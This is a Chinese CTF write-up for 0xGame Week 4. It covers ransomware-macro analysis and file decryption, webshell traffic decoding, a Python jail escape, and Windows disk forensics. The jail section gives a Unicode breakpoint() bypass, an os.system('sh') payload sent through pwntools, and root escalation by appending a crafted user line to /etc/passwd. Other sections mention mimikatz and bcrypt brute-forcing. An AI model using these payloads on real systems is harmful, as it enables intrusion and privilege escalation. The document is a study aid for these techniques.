[Week 4] Crazy Thursday v me 50 btc
- 一眼能断定是ppt中的宏病毒,所以打开ppt查看宏,发现是从服务端上下载软件,并静默运行
- 下载地址http://47.239.17.55/summer.exe
- 下载后图标一眼看出是pyinstaller打包,因此使用PyInstaller Extractor反编译
- (注意PyInstaller Extractor要使用最新版,最新版会自动添加MagicNumber而旧版我每次手动添加都不能成功反编译)
- 然后使用
uncompyle6 summer.pyc>summer.py
得到源代码 - 分析源码,手搓
from Crypto.Util.number import *
n = 6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933
c = 1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372
p = 64816076191920076931967680257669007967886202806676552562757735711115285212307
q = 102170960652478489355215071707263191814765888101601364955857801471459364198319
e = 65537
d = inverse(e,(p-1)*(q-1))
m = pow(c,d,n)
k3y = long_to_bytes(m)
- 这段用来获取3DES的24字节k3y密钥
- 下面是解密文件
import os
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad
def decrypt_file(key, encrypted_file):
with open(encrypted_file, "rb") as f:
ciphertext = f.read()
# 使用 3DES 算法进行解密
cipher = DES3.new(key, DES3.MODE_ECB)
decrypted_data = unpad(cipher.decrypt(ciphertext), DES3.block_size)
# 去掉 ".encrypted" 扩展名,恢复原文件名
original_file = encrypted_file.replace(".encrypted", "")
with open(original_file, "wb") as f:
f.write(decrypted_data)
print(f"File decrypted: {original_file}")
def find_encrypted_files(dir="."):
encrypted_files = []
for root, dirs, files in os.walk(dir):
for file in files:
if file.endswith(".encrypted"):
encrypted_files.append(os.path.join(root, file))
return encrypted_files
if __name__ == "__main__":
# 获取所有已加密的文件
encrypted_files = find_encrypted_files()
# 对每个文件进行解密
for encrypted_file in encrypted_files:
decrypt_file(k3y, encrypted_file)
- 得到音频文件
- strings能看到文件末尾藏了密码password:0xRansomeware
- 可能是Mp3Stego隐写,尝试失败
- 选择deepsound提取文件
- winter.txt提示hint是snow隐写
- (特点是以16进制打开09 20 居多)
- 0xGame{d3ba2505-36b1-4191-8212-062b943c58ec}
p.s.第一次见Snow隐写,软件都是98年的老古董了
[Week 4] Encrypted file
- 追踪http流,在134流上发现上传了php文件用来开后门
- 此文件对上传内容进行了一个加密,所以写出解密脚本
import base64
def decrypt(data):
key = "e45e329feb5d925b"
# Base64 解码
decoded_data = base64.b64decode(data)
# XOR 解密
decrypted = bytearray()
for i in range(len(decoded_data)):
decrypted.append(decoded_data[i] ^ ord(key[(i + 1) & 15]))
return decrypted.decode()
# 示例加密数据(Base64 编码的)
encrypted_data = "加密数据"
# 解密
decrypted_code = decrypt(encrypted_data)
print("解密后的代码:")
print(decrypted_code)
- 然后在139流将传输内容解密,再对cmd命令base64解密可以得到如下
cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload..\"&openssl enc -aes-128-cbc -in unfinished_hello.php -out secret.php -iv 114514 -K c4d038b4bed09fdb
- 发现是将unfinished_hello.php经过AES加密得到secret.php,所以可以编写解密脚本
- 这里IV和key都要补零
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def decrypt_aes_cbc(input_file, output_file, key, iv):
# 创建 AES 解密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 读取加密文件
with open(input_file, 'rb') as f:
encrypted_data = f.read()
# 解密数据并去除填充
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
# 将解密后的数据写入输出文件
with open(output_file, 'wb') as f:
f.write(decrypted_data)
# 使用的参数
input_file = 'secret.php' # 输入加密文件
output_file = 'decrypted_hello.php' # 输出解密文件
key = b'\xc4\xd0\x38\xb4\xbe\xd0\x9f\xdb\x00\x00\x00\x00\x00\x00\x00\x00' # 密钥(16 字节,128 位)
iv = b'114514\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # 初始向量(16 字节,128 位)
decrypt_aes_cbc(input_file, output_file, key, iv)
print(f"解密完成,已保存到 {output_file}")
- 还原的的文件打开就能得到flag
- 0xGame{8552BB81-D51A-FDCE-2EF1-55EBBEFF9B9C}
[Week 4] Untouchable flag
- 这是一道jail绕过,注意到限制了所有的英文大小写字母以及数字
- 可以考虑用unicode字符绕过
- 进一步发现输入限制了长度,并且常用的绕过长度的payload是eval(input())长度是13
- 注意到提示Python版本是3.7以上,可以联想到3.7及以上版本更新了breakpoint()用法,刚好长度是12
- payload:𝐛𝐫𝐞𝐚𝐤𝐩𝐨𝐢𝐧𝐭()
- 之后使用常规的payload即可
__import__('os').system('sh')
- 考虑到可能复制会出现乱码,这里直接用pwntool连接
from pwn import *
addr = "nc 47.98.178.117 2222".split(" ")
io = remote(addr[1],int(addr[2]))
io.recvuntil(">")
io.sendline("𝐛𝐫𝐞𝐚𝐤𝐩𝐨𝐢𝐧𝐭()")
io.interactive()
- cat flag发现无回显
ls -l flag
证实无权限读取 - 使用
ls -l /etc/passwd
发现拥有passwd的读写权限 - 可以利用这个来提权
- 输入
echo "aaa:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
- (此处
advwtv/9yU5yQ
是加盐过后的密码) su aaa>password@123
然后whoami查看成功提权cat flag
- 0xGame{PyJ@i1_w1Th_P@sswd_3l3Vat3_pr1v1l3g3}
[Week 4] FBI Open The Door!! 1
- 写脚本计算SHA256或者直接用CMD命令行
CertUtil -hashfile fish.E01 SHA256
import hashlib
def calculate_file_hash(file_path):
sha256 = hashlib.sha256()
with open(file_path, 'rb') as f:
chunk = f.read()
sha256.update(chunk)
return sha256.hexdigest()
file_path = 'fish.E01' # 替换为实际文件路径
hash_value = calculate_file_hash(file_path)
print(f'文件的 SHA-256 哈希值: {hash_value}')
- 0xGame{6d393b09ac01accf27bce07a9c07f5721b9e1e1fd5de1cc8cc1a2581a43e68f5}
[Week 4] FBI Open The Door!! 2
- 使用Arsenal Image Mounter挂载镜像到本地
- 打开
Windows\System32\Config
- 用注册表编辑器RegEdit打开
- 在
SYSTEM
文件中,可以查看ControlSet001\Services\Tcpip\Parameters
路径下的Hostname
字段。 - 在
SOFTWARE
文件中,可以查看Microsoft\Windows NT\CurrentVersion
路径下的ComputerName
字段。 - 0xGame{F1sh1ng-s3v3r}
[Week 4] FBI Open The Door!! 3
- 参考-链接
- 使用mimikatz破解Config中的SAM文件和SYSTEM文件
- 管理员模式打开
- 0xGame{zaq!xsw@}
[Week 4] FBI Open The Door!! 4
- 还是查找注册表
- 用RegEdit打开
Conifg>SOFTWARE
- 查看
Microsoft\Windows NT\CurrentVersion
下的InstallDate
字段 - 得到日期
1729666240
- 然后用CyberChef将unix时间戳转化为时间
- 注意这里不是输入UTC时间而是本地时间
- 0xGame{2024-10-23 14:50:40}
[Week 4] FBI Open The Door!! 5
- 我选择了用AXIOM来综合取证
- 先用过滤器搜索SMTP发现有浏览器活动,位于https://localhost:3333
- 继续搜索localhost:3333
- 分析下或者看网页名就能知道使用了gophish来进行钓鱼操作
- 搜索gophish
- 得到安装路径
Windows\Temp\gophish
- 查看gophish.db文件,AXIOM可以直接查看数据库文件
- 查找SMTP表得到授权码
- 0xGame{wpdqlnyvetqyddce}
[Week 4] FBI Open The Door!! 6
- 同样的数据库里能在表users找到密码的hash
- 这是Bcrypt加密
- cmd5能查到但是收费
- 使用爆破脚本-GayHub
- 字典我用了top1000
- 0xGame{qwertyuiop}
好厉害😘